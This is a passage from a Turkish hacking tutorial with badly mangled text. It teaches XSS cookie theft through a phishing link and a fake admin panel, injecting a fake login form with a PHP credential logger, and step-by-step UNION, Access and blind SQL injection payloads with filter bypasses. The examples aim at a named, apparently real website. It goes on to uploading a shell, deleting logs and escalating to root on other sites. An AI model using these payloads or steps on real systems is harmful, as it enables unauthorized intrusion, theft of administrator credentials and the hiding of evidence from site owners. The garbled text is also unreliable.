Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

